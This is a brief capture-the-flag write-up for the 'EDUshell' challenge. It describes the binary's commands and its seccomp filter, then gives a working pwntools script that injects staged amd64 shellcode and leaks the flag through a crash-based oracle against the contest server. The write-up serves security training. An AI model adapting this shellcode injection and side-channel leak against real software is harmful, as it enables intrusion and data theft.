# EDUshell
first decompile the program
we can see some useful choice
`exec` `loadflag` `cat EDUshell`
* exec
check if flag loaded
if loaded copy until blank space to a mmap
then call the mmap address
* loadflag
read flag to memory
setup seccomp with only `read` `exit` `exitgroup`
* cat EDUshell
malloc a memory then fill with random value then print
=> loadflag then exec shellcode
=> use scanf `%255s`
=> first part of shell code reads more shellcode in
no write only read
=> crash the program if input doesn't match flag else continue read
=> error base oracle
oracle
```python=
from pwn import *
import string
import time
def preprocess():
r = remote('eofqual.zoolab.org', 10101)
# r = process('./EDUshell')
r.sendlineafter('$ ', 'loadflag')
context.arch = 'amd64'
shell = '''
xor rax, rax
xor rdi, rdi
xor r14, r14
inc r14
shl r14, 5
add rdx, r14
mov rsi, rdx
shl r14, 5
mov rdx, r14
syscall
nop
'''
bin = asm(shell)
# print(disasm(bin))
# print(len(bin))
r.sendline(b'exec ' + bin)
# flag at rbx
shell = '''
add rbx, 0x27c0
sub rsi, 0x20
read_loop:
xor rax, rax
xor rdi, rdi
mov rdx, 5
syscall
xor r14, r14
xor r15, r15
mov r15b, byte ptr [rbx]
inc rbx
mov r14b, byte ptr [rsi]
cmp r14b, r15b
je read_loop
'''
bin = asm(shell)
# print(disasm(bin))
# print(len(bin))
r.send(bin)
return r
context.log_level = 'error'
known = ""
now_at = 0
guess = 0
t = string.printable[:97]
t = "_abcdefghijklmnopqrstuvwxyz}{ !0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
while True:
r = preprocess()
print(known)
time.sleep(1)
while True:
# input()
to = 0.2
next_send = ""
if now_at >= len(known):
next_send = t[guess]
to = 0.7
else:
next_send = known[now_at]
print(next_send, to)
r.send(next_send)
try:
r.recv(numb = 1, timeout = to)
except EOFError:
print("miss", now_at, t[guess])
now_at = 0
guess += 1
break
if now_at >= len(known):
known += t[guess]
guess = 0
now_at += 1
```
to lazy to improve speed but it works
###### tags: `solved`